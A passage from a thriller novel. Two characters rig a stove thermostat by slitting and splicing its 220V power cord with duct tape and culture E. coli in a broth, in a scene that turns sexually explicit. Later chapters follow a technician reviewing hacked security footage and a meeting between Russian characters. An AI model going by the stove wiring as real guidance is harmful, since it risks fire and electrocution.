Tina looked on. “Sho, umm... What’s shish shing shupposed to do?”

“It’s a thermostat,” Danny answered. “Watch. See this LED?” He pointed to a small glass gumball-like object on the breadboard, about the size and shape of a pencil eraser.

“Mm-hmm,” Tina replied.

“Pretend that’s a burner on my stove,” Danny continued. “Now, I’ve tuned the thermostat to your body heat. When the thermometer is at your body temperature or higher, it’s turned off. But if it cools down...”

He reached up toward her face. She puckered her lips toward his hand. He pulled the dismantled thermometer from her mouth, possibly more slowly than necessary. He shook the warm, moist tip of the thermometer through the air. After a few seconds, the small glass bubble on the breadboard popped aglow with a bright green light.

Tina understood and grinned. “So if you put the thermometer tip inside the pot, then it can turn the burner on and off automatically, which will keep the broth at a nice, steady, warm temperature without us having to keep a vigil on it.”

“Bingo,” said Danny.

“But... Wait...” Tina raised an eyebrow. “How’ll you connect this to your stove?”

“With this...!” Danny replied excitedly. He held up a translucent blue plastic cube the size of his palm. It looked similar to the ones on the back of the HERF gun that sat sipping power in the corner. Complex mechanical components wound and bent under its skin. Thick, stubby metal prongs projected from its underside. “This is a power relay,” he explained as he attached wires between the breadboard and the cube. “It can switch ten amps of 220VAC on a two-amp 12VDC control current.”

Tina shrugged uncomprehendingly.

Danny couldn't help shooting her a slightly devious smile. “You'll see.” He proceeded to attach two thick red wires to the underside of the cube. The wires were capped with yellow cone-shaped connectors the size of a pinkie knuckle.

Tina stared at the jerry-rigged contraption, her eyes gleaming. “I have to go check on the broth. Meet you in the kitchen?” He nodded, and she skipped away out of the garage.

By the time Danny finished his makeshift thermostat, Tina had already taken the pot out of the oven. The kitchen sink was plugged and filled with a watery slurry of ice from his freezer. Tina held the hot vessel with oven mitts and gently rocked and rotated it in the ice bath. She mindfully held the lid down, careful to prevent it from sliding off and exposing the broth to the open air.

Danny entered the kitchen wearing thick gray electrical gloves, carrying his medley of connected electronic components. He laid his thermostat down on the counter — the white breadboard sprouting silver and black growths, the severed thermometer tip on the end of two several-foot-long lines, the translucent blue power relay with protruding red wires with yellow-capped tips. “Are you done with the stove?” he asked.

“All yours,” said Tina.

He walked up to the stove, grabbed it with both hands, and pulled. The stove slid hesitantly from its space along the wall, scraping against the floor tiles. The lanky engineer was able to shimmy it out of its home, just far enough to expose the thick black cord that plugged the stove into the house’s 220VAC circuit. The pajama-clad man pulled the large round plug out of the wall, causing the stove’s clock to go dead.

He then produced his X-ACTO knife and slashed open the stove’s power cable. He slid the blade slowly down the rubber insulation until he had formed a slit almost a foot long. Multicolored wires and metallic coating protruded from the gash.

“Is that safe?” Tina asked.

“Not in the slightest,” said Danny. He severed and stripped one of the multicolored wires, and spliced its ends with the two yellow-capped red lines of the power relay. He sealed his work with generous helpings of duct tape, the

sticky gray ribbon making stretchy noises as it came off the roll. When he was finished, the breadboard and power supply lay on the floor beside the displaced stove, electrically implanted into its power cord.

Gingerly, he plugged the appliance back into the wall. Much to his relief, nothing caught fire. The stove came back to life, its clock blinking 00:00.

“Not bad,” Tina said with a smirk. “But we’ll need to throw the thermometer into the broth. And if we do that, won’t it... uh... What’s the word? When electrical things hit water...”

“Short circuit?” Danny suggested.

“Yeah.”

“Not if I do this...” He grabbed a Ziploc sandwich bag from his pantry and dropped a few spoons into it for weight. He then took the thermometer tip, placed it inside the bag, and sealed it. The device’s wires dangled out from a corner of the sandwich bag’s mouth, making the seal imperfect. However, Danny knew how to fix that problem...

“Duct tape?” Tina asked.

“You betcha!” Danny replied. “By the way, how’s the broth doing?”

“It’s perfect,” Tina replied. She carried it to the stove and set it on top of the largest burner on the range top, and turned it on.

“Great!” said Danny. He took off his electrical gloves and offered her the thermometer baggie. “Shall we?”

Tina looked at the transparent bag in his hand with utter disgust on her lips and a glint of humor in her eye. “Ugh! I think not! That thing hasn’t been cleaned! You want to stick that bacteria-covered monstrosity of yours into my nice, warm, nutritious broth? I’ll have you know that I am a *lady*, good sir...!”

She strutted past him in a mock huff toward the row of Rite Aid supplies on the counter. She grabbed the bottle of rubbing alcohol and found a large bowl to pour it into. The liquid’s sharp scent stung their noses. She took the thermometer baggie from him and immersed it in the rubbing alcohol, sloshing it around and making sure that every last bit of its exterior received a thorough soaking.

“There!” she said. “*Now* you may plunge your thermostat into my pot.”

With a deft, quick motion, she slid the lid aside just barely widely enough to accommodate the sandwich bag. A warm, salty, sweet scent rose from the pot, organic yet pure, like fresh sweat from a lover’s skin. The device made a soft plop as it entered the broth and sank to the bottom. With a metallic scraping sound, Tina quickly replaced the cover. The wires from the thermostat protruded from the rim, preventing the lid from closing completely. Tina applied a generous coat of Saran Wrap around the lid to form an airtight seal, and the pot was safe from airborne bacteria.

The two of them watched it for a few moments.

From beside the stove, the power relay emitted a loud “*Click!*”, and the stove’s power died. Its clock showed a dead black face.

“Is it supposed to do that?” asked Tina.

“I think so,” said Danny. “The burner was on, right? So it was heating this whole time. Which means it’s supposed to turn off now to cool down a little. And then when it’s cool enough it’ll turn back on again.”

“So it’s working?” she asked.

Danny nodded.

“So all that’s left,” said Tina, “is the...”

“Yeah, the...,” Danny repeated.

They both turned their heads and stared at the white latex glove on the granite counter, inside-out, twisted and tied off near the base of the digits.

Tina approached the counter and picked up the glove. She held one of the fingers pinched shut, and with a pair of scissors she cut the finger away from the rest of the glove. She held it up before her eyes and examined it carefully.

“Is the crusty stuff in there?” Danny asked.

“Yeah,” Tina said, and slowly walked back to the stove. The footsteps of her black shoes on his white kitchen tile punctuated the tense stillness of the air. Keeping a tight pinch on the open top of the severed latex finger, she held it near the pot. “You ready?” she asked.

Danny whispered thickly, “Let’s do it.”

Tina inhaled sharply and held her breath, her rib cage growing expansively, her breasts stretching her white button-down shirt.

She quickly peeled back the plastic wrap and pushed the lid aside barely an inch, leaving a narrow crescent of broth momentarily exposed. With both gloved hands, she gently tapped the white latex finger.

The lone yellowish-white grain tumbled out. It alighted on the water’s surface like a flake of fish food, buoyant in the salty broth.

Tina rapidly closed the cover and re-wrapped the plastic. She peeled off her gloves, and finally let herself exhale.

Danny stood beside her, both of them looking down at the two-gallon stainless steel pot. “What happens now?”

“Nothing,” Tina answered.

“Nothing?”

“Now we just wait for them to multiply,” Tina replied. She flexed her fingers, her black nail polish giving off a hint of iridescence as it caught the light. “They’ll fill the whole pot eventually.”

“How long will that take?” asked Danny.

Tina shrugged. “Couple of days. Maybe a couple of weeks. It’s a big pot.” She swept a lock of her hair over her ear.

“Hrmm. This thing could be on my stove for a couple of weeks?” said Danny.

“Yep,” she said, turning to face him with mischievous eyes. Her full, pink lips were stretched in an elfish smile. “Sucks to be you, doesn’t it?”

“Oh, in so many ways,” Danny said with a chuckle.

If he wasn’t ready to pass out from exhaustion, it wouldn’t have been funny; he’d have begun mentally enumerating them all. He found, however, that being nervous or anxious required effort — the effort of visualizing failure. As the two of them stood beside the pot, Tina’s face inches from his own, he found that he could no longer expend the time and energy required to sabotage himself. Not at 00:00 in the morning.

“So...” said Tina.

“So,” said Danny, her eyes fixed on hers. “What’s left for us to do here?”

“I don’t know,” Tina said teasingly. “You tell me.”

Beside the stove, the power relay brought the burner back to life with a loud, “*Click!*”

His hand shot toward her waist. He pulled her toward him and slid his other hand under her ear around the back of her neck, his fingers running through that dark unkempt hair that he had wanted to touch since first seeing her on that hacked video feed earlier that night. His lips crashed upon hers like waves against a primordial shore.

He didn’t think about brushing his tongue lightly against hers. He didn’t think about leading into a nibble of the lower lip. He didn’t think; he didn’t calculate or analyze or hypothesize. He simply did.

She squeezed her body against his, her breasts pressing against his ribs and her hips pushing against his pelvis. She could undoubtedly feel his desire for her. Her arms reached around him and her fingers splayed against his back, drawing him tightly to her.

The pressure of her hand hit his injured shoulder. A flash of searing pain jolted him out of the kiss. He pulled back and hissed harshly, his eyes wide and his senses suddenly heightened. The wound throbbed with his quickening pulse.

She drew her hands away and looked up at him with an apologetic expression.

His eyes gazed into hers with raw animal hunger. He grinned.

With a shove, he thrust her away from the stove with carefully guided force. Her back hit the refrigerator.

He grabbed her dark hair and pulled her head to one side, exposing her neckline, and pressed his mouth vigorously against the side of her neck. His other hand cupped over her shirt and bra and massaged her breast.

She moaned deliciously into his ear. Her hand was in his hair, pulling his head down to increase the pressure on her neck, craving more. She raised one knee, her shoe against the refrigerator door, her thigh rubbing against his waist. Her hips ground against his.

As his mouth worked its way down from her ear to her collar, his hand began unbuttoning her white shirt.

She ran her hand under his pajama shirt, her fingers tracing the contours of the muscles of his torso.

Her last button undone, Danny stepped back to admire the sight of this lithe young lady against his fridge, her white shirt hanging open and exposing her tan bra and toned midsection. He took a moment to consume her curving feminine form with his eyes as she remained pressed with her back against the fridge. Tina smirked libidinally for a moment, wiggling teasingly against the fridge, happy to let him enjoy the view.

She then kicked herself away from the fridge and reached out to grab him and yank him back to her by his blue linen pajama shirt, which she promptly pulled off of him. She flung it to the kitchen floor.

With both hands, he pulled her shirt down and off behind her, leaving the sleeves bunched at her wrists. She began to wriggle her hands to slide entirely free... but he didn't want her to. Instead, he twisted the shirt tightly, trapping her hands behind her in its white fabric. Putting his other hand on her shoulder, he spun her around and pushed her against the fridge once more, pinning her face and chest against its door. While his one hand maintained the squeeze on the shirt bunched around her wrists to keep her hands immobile, his other deftly unhooked her bra, his agile fingers making quick work of the clasps.

At last he released her wrists, tossing her white shirt mindlessly aside and dropping her tan bra to the floor. With his body he kept her pinned against the refrigerator door, his naked torso pressing hungrily against the warm, supple skin of her back. She pressed one of her newly freed arms against the refrigerator, the palm flat against the door. The other reached up and back, her black-painted fingers clutching his head.

His arms wrapped around to her front. One hand climbed upward to massage and caress her naked breast, molding around its soft round form. He gently pinched her nipple between two fingers, eliciting moans of delight from her parted lips.

His other hand reached around the curve of her hip and climbed downward, past her abdomen, past her navel. He unthreaded her belt from its loops. Pulled it away from the buckle. Slid it open, letting its leather ends dangle aside. Nimbly unbuttoned her black slacks. Drew down the zipper.

He took his time, savoring every moment, enjoying hearing her gasp.

His fingers first stroked teasingly outside her panties, indulging in the slickness of her hot, moist passion. He kept his ministrations on the outside of the thin fabric until her face contorted in agony; then he finally granted her the relief of feeling him touch her with his bare fingers. He rubbed and stroked with a steady, pulse-like rhythm, matching his motions to the pace of her breathing. He keenly watched her face, relishing her pleasure.

The subtle rocking of her hips progressively accelerated. Her panting breaths rose to gasps. Her moans began to crescendo into cries.

Finally, when she seemed to approach the threshold of exploding, she suddenly pushed him violently away with both hands. She turned to face him, topless in her black slacks and low-heel pumps, and tilted her head slightly downward to look up at him with voracious eyes. Her face was flush, glowing with carnal cravings. She leaped to him like an untamed beast, a wildcat ready to devour a helpless prey.

Her hand, capped with nails like black talons, ran claw-like down his front, leaving a long trail in his skin from his chest down past his abdomen.

She then dropped to her knees before him, yanking down his pajama pants in a single stroke.

She pleased him with her mouth deftly and skillfully. She looked up at him frequently with big, bright, naughty eyes. Her face, framed by her dark hair, radiated mischievous enjoyment. He caught his own hips gently thrusting to match the rhythm of her efforts, and his fingers ran through her hair as he groaned ecstatically.

He pulled away long before his excitement could go supercritical. While she took her shoes and socks off of her feet, he gave the kitchen a quick, determined scan. The counter looked like it was just about the right height...

With a sweep of his arm, Rite Aid groceries tumbled from the granite countertop and crashed onto the floor. Amino acid powder spilled across Danny's kitchen tile. He could hardly give less of a damn.

Tina ran over to him on bare feet. She gave him an eager, delighted kiss, then excitedly hopped up onto the counter.

Danny pulled her slacks and panties down to her ankles, relishing the sight and sensation of her long, smooth thighs, and the wet womanhood between them.

With her butt on the granite countertop, in a flurry of leggy motion, she kicked the black slacks and panties away.

They landed on the kitchen floor, beside the bunched-up button-down white shirt, beside the tan bra, beside the blue pajamas and the slippers and the shoes and socks that lay strewn across the tile. Beside the pile of Rite Aid groceries and improvised biotechnology equipment that now littered the floor. Beside the breadboard and the power relay and the multicolored wires that ran behind the stove and up to the stainless steel pot.

Within the broth, the microscopic *E. coli* felt the warmth and moisture around them, and slowly awoke from their slumber. Mindless and hungry, they eagerly began partaking of the bountiful feast, ready to explore the vast new frontiers of this nutrient-filled vessel.

And on the granite countertop, the two lovers partook just as eagerly of one another. There was no boundary between the joys of their mutual intellectual achievement and their mutual physical pleasure. There was no separation between ecstasy of the mind, ecstasy of the body, and ecstasy of the soul. Their worlds — his of electronics and hers of biology, his of the mechanical and hers of the organic, his of the wizardly material and hers of the mystic divine — their passions, like their bodies, were made to be united.

Act III

DOPAMINE

22

THE MORNING SUN SHONE through Venetian blinds, casting long parallel lines of orange light upon a disheveled bed. The stripes of daylight highlighted the contours of the blanket in sharp relief, tracing out the lithe, slim bodies of sleeping lovers that lay beneath. A pillow supported the slender arm of a young woman, her French-manicured hand dangling over the edge, the crook of her elbow nestling a head that sported tussled locks of blond hair.

On the red brick walls, the morning light drew horizontal ribbons through a *TRON: Legacy* poster, a stolen “No U Turn” sign, and a shelf filled with toys — magnetic Buckyballs, a metal Slinky, and a menagerie of vinyl dolls all bearing the bubbly round creepy-cute look of designer KidRobot figurines.

From the floor somewhere near the bed, beneath a giant tangled mess of laptops, headphones, and dirty laundry, there came a faint blue glow, accompanied by an insistent buzzing.

The blankets shuffled. From their depths arose an annoyed groan. They parted, and a long, sinewy male arm emerged, sporting Celtic sleeve tattoos. Its hand groped the floor blindly until it found the source of the noise, a ringing cellphone. It whisked the phone up and held it before the sleep-matted face of a young man with black, spiky hair.

The screen glowed with the words, “Dr . P”.

Roger rolled his eyes. “Go away,” he mumbled softly, and pressed “Ignore”. He casually dropped the phone back to the floor.

By his side, the blonde stirred. Her petite form shifted slightly, her face lifting up out of the crook of her elbow. She was turned away from him, her small naked shoulders bearing hickeys and bite-marks. Roger followed the curve of her supple spine with his gaze, moving the blanket away from the enchanting dip of her waist where it occluded his view. Below her flowery tramp-stamp, her perfect young ass, round and tight and luscious, sported a distinct rosy hand-shaped welt. Grinning smugly, Roger slowly traced his fingers across her toned midsection and up toward her chest to fondle a pert, firm breast.

Her face turned lazily toward him with a wide, sleepy smile on her bright pink lips. She writhed softly for a moment to uncurl herself from her sleeping position, and reached her arms high over her head in a wide, waking stretch. Her big, innocent eyes fluttered open and groggily came to focus on him. “Mmmm... Good morning.”

Roger moved his head down to flick her nipple with his tongue.

The girl's fingers ran along his shoulder and down his chest, and she rolled to press gently against him with the full length of her feather-soft body. Roger grabbed her head in both hands and kissed her hard. She rubbed her thigh against his hip, her instep brushing against his calf. He shifted his weight, ready to climb on top of her.

The buzzing burst out once more.

"Fuuuuuuuuuck!" Roger reluctantly rolled himself off the gorgeous blonde and peered over the edge of the bed, looking for his cellphone. He pressed "Answer". "What's up, Doc?" he said groggily into the phone.

The old Russian scientist's voice rattled from the speaker.

Roger replied, "I was going to be in at 9:30, like usual. It's barely eight o'clock. What's going on?"

The phone mumbled something.

"Tina?" Roger asked. "No, I haven't seen her since work yesterday. Why?"

More Russian-accented mumbling.

Roger's entire body suddenly went tense. "What? What do you mean, 'break-in'?" He reached for the blanket and pulled it around himself absentmindedly, quickly losing his arousal. The girl looked on uncertainly.

Passinsky's gruff voice murmured a few sentences.

Roger bolted upright. "Whoa! Whoa, Doctor P., slow down... What happened?"

The old Russian's voice continued.

With his free hand, Roger fumbled around on the floor by the bed. "Hold on, Doc. Let me get you on my Bluetooth..." He found his headset scattered somewhere in the tangled mess of wires, and popped it in his ear. From the floor by the bed, he pulled out a spare pair of glasses with one hand and a laptop with the other. He wrapped himself in the blanket, sat cross-legged on the bed, and began typing.

The girl pawed at him. "Is everything okay?"

He batted her away. "Not now, Carrie."

"My name's Kelly!"

Staring at the screen, he said into the headset, "Okay, the DenyHosts log does say that someone was trying to hack in yesterday, but the attempt failed. The keycard server shows activity last night by... Julie? And... Fuck! The cameras!" He slapped his laptop closed, and shot up from the bed to dig through the piles of clothes on

his floor. “Doctor P., I’m on my way.” A quick tap to the earpiece ended the conversation. Roger gave himself a rub of deodorant and a quick spray of Axe, and wiggled into boxers and a t-shirt.

The girl sat on the bed, putting on her bra and scanning the small studio apartment for the rest of her clothes. “What’s going on?”

“You should get going,” said Roger without looking at her. His motorcycle jacket lay slung over a chair near his helmet and boots. He began to climb into his riding gear.

“Can you give me a ride to class?”

Roger zipped up his jacket and, holding his helmet under one arm, headed back to the bed. He gave her a quick meaningless kiss, and fished his wallet out of his pants.

“Here,” he said, and slipped her a twenty.

She stared at the bill. “What the hell is this?”

“Cab fare,” Roger answered, and headed for the door.

SCIENTISTS SCURRIED THROUGH the battle-scarred hallways, checking on their projects and assessing damage to their equipment. Tina's green Volkswagon Jetta was still in the parking lot outside, its windows smashed and its glove compartment ransacked. The reception desk had been overturned, the stockroom had sustained a rampage, and bullet holes pocked the gypsum walls everywhere. A few bloody streaks on the walls and carpet had left crusty reddish-brown stains. Roger had walked through the building feeling like he was watching a documentary about Sarajevo or Fallujah. The sensation didn't seem real.

The scientists were mostly men and women in their forties and fifties, each with multiple technical degrees. Their educated, scrutinizing faces reacted with confusion and outrage at the idea of their ivory tower of research being defiled by such real-world vulgarities as physical violence. He was surprised to see so many of the researchers at such an early hour — apparently Doctor P., usually the first to arrive in the office anyway, had spent most of the morning on the phone.

Doctor P. was still on that phone. The two of them sat alone in Passinsky's office, where Roger had access to the DVR that recorded the camera feeds. As Roger sat in Passinsky's chair and operated his computer, Passinsky himself remained standing, speaking rapidly into his cellphone in Russian. Finally Passinsky hung up and turned to Roger. "So what do you think?"

“I’m still trying to wrap my brain around this, Dr. P.,” Roger replied. He played back feeds from several of the cameras, showing a large, burly man with a lug wrench being chased through the hallways by an agile gunman with a long black suppressor on his firearm.

“Yes,” said Passinsky. “You see how the cameras move? The cameras are doing their... Their moving functions...”

“Pan, tilt, zoom,” Roger filled in.

“Yes,” said Passinsky. “They are pan-tilt-zooming to follow the two men. They stay on them the whole time. Now, this is not the automatic capability of the systems, correct?”

“No, it’s not,” Roger answered. “Somebody was controlling them.”

“So somebody hacked in and took the cameras over,” said Passinsky.

“The cameras are probably *how* they hacked in,” Roger grumbled with an edge of accusation. “I told you they’re way out of date. I told you we needed to shell out and replace them all. But you... didn’t...” He turned to look at Doctor P.’s face. The old man’s cold blue eyes looked like they were about to shoot beams of frost straight into Roger’s heart and suck out his warm blood by gaze alone. Roger gulped. “So, um, anyway... There was clearly a fight between two teams of people here. One team had the guns and the other had control of our computers.”

Passinsky watched the screen. “Different approaches, different tactics, different strengths and weaknesses. But one common objective, yes?”

“I think so. Check it out...” Roger queued up a video of Tina being held at gunpoint in the cold storage room. The footage showed her pulling a small vial out of a box from the deep-freezer and handing it to the leather-clad gunman. “See, they get this test tube from the fridge, and then later they start fighting over it in the hallway...”

“Wait, pause,” Passinsky ordered. “Enhance the image.”

“Uh, what?” said Roger.

“Make the picture more clear,” said the old scientist.

Roger paused. “You mean like in bad spy movies?”

Passinsky missed a beat. “Yes. Why? Isn’t that...”

“You know that’s not actually a thing, right?” said Roger.

“I do not know exactly how it is work,” Passinsky insisted, “but I know there is software for pixel interpolation and increase in the sharpness based on estimating focal length...”

Roger gave him a sour look.

“No?” said Passinsky.

Roger shook his head. “I can make it full-screen for you, though.”

“Fine,” said the old scientist. He squinted and leaned closer into the screen, donning a thick pair of reading glasses to help him see. When the image filled the screen, Passinsky gasped. It sounded like a wet rattle. “That man...”

“The one attacking T?” asked Roger.

“Yes...” Passinsky said, trailing off, staring at the looping video. “I think... Roger, pause. Go frame by frame. That *is* a thing, yes?”

“Yeah, *that* is,” said Roger.

Passinsky’s eyes suddenly looked very, very tired. “Oh no...” Passinsky walked away from the desk, rubbing his temples with his fingers. “That is the Mukhayev boy...”

“Who?” Roger asked.

Passinsky shooed him into silence with a flick of his wrist. Still standing, he leaned heavily on his desk with one arm, his elderly form slack and bony. With his other hand, he dialed his phone.

“Are you finally calling the cops?” Roger asked insistently.

Passinsky shook his head. “No police. Not yet. Not until my boss gives permission.” He looked away, and spoke in Russian into the phone, his voice apologetic and obsequious. His face, which Roger had only ever seen as an icy mask, sagged with worry.

While Passinsky spoke into the phone, Roger spent the time watching the recordings on the DVR. One of the men carried an odd machine, a seemingly homemade contraption about four feet long and held together by Velcro and karabiners. Roger searched the footage to get views of the device from different angles. It looked like some kind of art project gone horribly wrong, or a science fair project gone horribly right — like Nikola Tesla had gotten high and asked Jules Verne to drive him to the nearest Home Depot.

After several minutes, the grizzly scientist hung up. “Roger,” he rasped. “Do we know *anything* about the hackers?”

“Not a thing,” Roger replied. “The security cams don’t record audio so I can’t hear anything they’re saying. The parking lot feeds show they were in a black Lincoln Navigator, but I can’t get a good shot of the license plate — I think they were intentionally keeping it out of frame. And there’s nothing in any of the system logs that would give me any clue.”

Passinsky came around to look at the screen again. It was playing a clip of the fight in the hallway outside the freezer room. On the screen, a geeky guy in an ill-fitting lab coat argued tensely with the leather-clad gunman, aiming the odd contraption at him. Tina stood by his side, and the large scruffy man lurked in the shadows. Passinsky said, "That machine he is carrying..."

Roger nodded vigorously. "I was just looking at that, Doctor P."

"He holds it like rifle," said the scientist. "What does it do?"

"I'm just figuring that out," said Roger, and he queued up a video clip. "Check this out. Here he is, firing it in the middle of this fight. The guy in the leather jacket is just about to beat the shit out of this big hairy dude, when the guy holds up this doohickey, and... Bam. Guy in the leather jacket grabs his ear."

"Did he shoot something at his head?" asked Passinsky.

"At first, I thought that too" said Roger. "I figured maybe it's some kind of homemade gun. But then, why all the electronic parts? So I went and looked for other times he fired that thing, and I saw this..."

The screen ran a clip of the other gunman, the one with the long black suppressor on his semi-automatic pistol, trapped in the stockroom. He lifted a keycard to the reader, when suddenly it appeared to jump from his hand. After picking it up and attempting to wave it again, the card appeared to be broken and useless.

“And then I found this...”

Roger queued a video segment from the parking lot, where the gunman with the silencer talked reluctantly to the driver of the Lincoln Navigator, visible only as a silhouette in the driver’s side window. He focused on his cellphone while, behind him, the large scruffy man snuck into the building. The gunman turned his head and spotted the large one, and suddenly dropped his cellphone. Stepping frame by frame, Roger saw white sparks erupt from the phone, silent and pixilated in the digital recording.

Roger concluded, “And then I was like, ‘Holy fucking shit!’”

Passinsky shook his head. “I do not follow.”

Roger explained, “Okay, it’s like, you know how in StarCraft, the Ghost unit can shoot an EMP shockwave that knocks out Protoss shields?”

Passinsky stared at him blankly.

“And there’s this old game called System Shock 2,” Roger continued, “that has an electromagnetic pulse rifle. You shoot it at robots and cyborgs, it fries their circuitry and kills them instantly. But it doesn’t hurt humans. Only things with a microchip.”

Passinsky didn’t stir. “An electromagnetic pulse rifle?”

“Yes!” said Roger. “An EMP or Magpulse gun.”

Passinsky raised his large gray eyebrows. “For shooting robots and ‘cyborgs’ in computer game?”

“Well, yeah,” said Roger, a little sheepish but nonetheless thrilled. “I know, it sounds ridiculous, but I’m telling you, it works *exactly* like that...”

“How old is it?” Passinsky asked.

“How old is what?” asked Roger. “The EMP rifle? I have no idea. I didn’t even know it actually exists...”

“No. The computer game.”

Roger looked perplexed. “How old is System Shock 2? Hell, I don’t know. Fifteen, twenty years. It has this whole nineties cyberpunk sci-fi dystopia feel to it. All retro and awesome. Of course, I guess it wasn’t actually *retro* back then... Why do you ask?”

“You said it sounds ridiculous, to see a weapon from an old video game in your real world,” said Passinsky.

“Hey, I only know what I see on the screen.”

“It is not so ridiculous,” said the elderly scientist. “When you live for many decades, you see many things that were once only fantasy become real. Somebody built that EMP rifle you see on screen there. An engineer. And the engineers of today, fifteen or twenty years ago, were children playing video games.”

“The device is obviously homemade, or maybe a prototype that someone built by hand,” said Roger. “Here, take a look at this...” He shuffled through the footage until he found a clip of the geek dodging gunfire just outside the stockroom, then reuniting with his large scruffy friend in the adjoining hallway. “See how he’s looking over the parts of the gun to check it for damage? He’s examining all the little wires and circuits and things. It’s like he knows exactly how this thing works, down to the last transistor. And he’s so detailed and methodical about it... I’d say this thing is his baby. He made it himself. I’m sure of it.”

Passinsky’s expression turned to steel. “Do you think you can find him with it?”

“What do you mean?” asked Roger.

In a calculating tone, Passinsky said, “How many men in this city, do you think, have the capability to build something like that?”

Roger felt a flash of admiration for the gruff old scientist. The guy might’ve been ancient and a total asshole of a boss, but he was indisputably brilliant. “Probably not too many, Doctor P.,” said Roger. “And he’d probably have his skills listed on LinkedIn. And he’d be a member of local Meetup groups for electronics. And he’d know folks in the Maker community and probably post on their online forums. And there’s Ada’s Technical Books over on Broadway — I’m sure there’s somebody there who’d recognize him...”

The screen in front of Roger showed a clip of the geeky man in the hallway outside the cold storage room, just before the fight. He was wearing a stolen lab coat and pointing the pulse rifle at the leather-clad gunman. A moment later, the door to the cold storage room opened, and Tina emerged.

Roger paused on the frame. The man on the screen had turned to look at the ajar door, and at that moment the light from the cold storage room fell upon him. Roger set the image to full-screen. It distinctly showed the face of the man with the energy gun.

“Whoever he is,” said Roger, “I bet I can find him. I know a few computer tricks.”

DOPAMINE

23

PIKE PLACE MARKET ON A SUNNY AFTERNOON bustled with the teeming, cacophonous crowd. Tourists, locals, and seagulls alike swarmed through the elaborate multi-level pavilion, where the smell of fresh fish and the music of street performers filled the air. Built on a steep slope overlooking Elliott Bay and the Alaskan Way Viaduct, the countless shops and cafés of the Market were constructed literally one on top of another, connected by chaotic networks of stairs and ramps melding indoors and out. Local farmers set up their wares in tents, their carts filled with fresh fruits and honey on the comb. Craftsmen hocked watercolor paintings and wooden sculptures of bears and herons. Charismatic fishmongers theatrically threw entire salmon back and forth to one another over the heads of customers, to raucous cheers and the flashes of cameras.

The Market was a logical meeting place. The presence of all these people served as implicit assurance that there would be no funny business. There was safety in the crowd.

Sergey Mukhayev sat in a wicker patio chair at a small round table at an outdoor café, sipping tea and waiting.

The tea was very hot, very black, and very strong. He knew he wasn't supposed to indulge, just like he wasn't supposed to drink vodka anymore, nor enjoy many others of his old favorite vices. If he was the same man now as he was back in Saint Petersburg, he'd tell his doctors to go rot in Hell. But he had Rosie to consider now. It was his own fault that she was without a mother and brother. He didn't dare risk making her grow up without a father as well.

This one cup of tea that he enjoyed now wouldn't kill him. It was simply a nod to the truth — and the truth, like the tea, was very bitter. It would be ten years before Rosie would graduate college. His chances of seeing that happen were fifty-fifty at best. In however many years remained for him, his sole purpose was to secure her future, to at least partially rectify the tragedy he had made of her innocent young life. His business, with its secrecy and its violence and its constant interaction with the scum of humanity, unfortunately happened to be very, very lucrative. Through it he had caused his own damnation. And through it, he sought to earn some small glimmer of redemption.

The Byzantine cross he wore around his neck lay on his hairy, muscular chest, a few inches from the scars. It served as a perpetual reminder that he may as well occasionally enjoy life's small blessings, such as the tea, while he still could — for his next world would be far less pleasant than this one.

He felt the caffeinated drink begin to take its effect. His heart quickened. Ironic stuff, tea was — so soothing to the mind, yet so stressing to the body.

And with the quickening came the pain.

A sharp pinching sensation stabbed inward to the center of his chest, like heartburn after a meal of needles. He pressed his hand to his sternum and winced. His head felt light and woozy, as though he had stood up too quickly. His hearing began to fade.

He coughed hard several times. The coughing was not caused by the attacks; rather, it was a conscious reaction. There was something about the dry hacking motion that helped get the blood flowing back to his head.

His large fingers felt around in his pocket for his pills, searching for the small smooth beads of chewable aspirin mixed in among the hard round beta-blockers and the long oval statin tablets. He preferred to keep them jumbled in his pocket, outside their bottles. Bottles of pills made distinct rattling noises when he moved, and he'd be damned if he was going to walk around the city jingling with medication like a goddamned feeble geriatric. He was only forty-seven years old and still strong as an ox — his muscles lacked the definition they'd once had in his youth, but his arms were still the size of hams and he could crush a man's skull with his bare hands. He was still as mighty and powerful as ever. And if any lousy cretin dared to look at him like some kind of poor frail invalid, he'd sooner stab the son of a bitch's eyes out than suffer a moment of his pity.

The aspirin worked quickly. Soon after popping the small white pills, the pain subsided. Sergey resumed sipping his tea calmly, as though nothing was wrong.

From behind him came a man's voice. It was dry and aged. "Sergey Mukhayev," it said flatly. Its pronunciation of his name was clear and crisp. Rather than the lisping Anglicized bastardization to which he had grown accustomed over the last decade, the voice intoned his name with the true, rich, heavy consonants of a native Russian speaker.

He turned and looked up. A gaunt, gray, elderly face looked back at him through cold, inscrutable blue eyes.

The old man carried a manila envelope. He sat down across the table, took a sip from a bottle of seltzer water, and spoke in Russian.

"You're a difficult man to contact, Sergey," he said. "Are you hiding, or just taking a little break?"

Sergey stared at the man suspiciously. "I've had a few issues with my communication channels lately," he grumbled.

"Indeed," said the man. "You know, you certainly don't make my life easy. Unfortunately, part of my assignment here in this city is to keep an eye on you. Let me assure you, it's a duty I very much don't relish — it distracts me from far more interesting pursuits. And you've made it especially difficult for me this

morning. You don't reply to your email, your telephone goes straight to voicemail, you ignore your Skype... Why, if that Leo boy hadn't answered for you, I was about ready to send a courier over to your house."

"Am I supposed to know you?" Sergey replied.

"No," said the old man. "But like I said, I'm afraid it's part of my job to know you."

"The pleasure's all yours, then," said Sergey.

"I am called Pyotr Passinsky," he replied. "*Doctor* Pyotr Passinsky." He spoke impeccable Russian with a highbrow Muscovite dialect, articulating every complex syllable and putting exactly the right amount of twang into his vowels. The accent fell upon the Russian ear in a manner similar to the sound of High British to a native English speaker. The affectation connoted, depending on whom one asked, either great intelligence and fine breeding, or extreme arrogance and unadulterated pomposity.

The old man extended a handshake. Sergey did not accept. "Am I supposed to be impressed?" he scoffed.

The gaunt gray figure replied coldly, "You should respect your elders."

"Maybe I'd respect you," said Sergey, "if I knew who the hell you are and what you want with me."

“Who I am is a victim of your aggression, and what I want is restitution,” Passinsky said without emotion. “Your men broke into my company last night, Sergey. Tungsten Medical Technologies. Well, it’s not *my* company, of course, but I’m responsible for keeping it running. Your barbaric little adventure makes me look very bad, especially considering that part of my duties is to make sure you aren’t misbehaving. And your timing could not be worse. My boss, as it so happens, is flying into town as we speak, to discuss corporate financial matters. I’m now, in addition to our scheduled affairs, forced to explain the extremely unpleasant situation resulting from your highly uncouth actions.”

Sergey snorted. “*My* men? *My* actions? That’s quite some accusations you’re leveling there, *Doctor*. It’s a shame I have no idea what you’re talking about.”

Passinsky crinkled his tall forehead. “Oh really?”

“That’s right,” Sergey said with a vaguely threatening air.

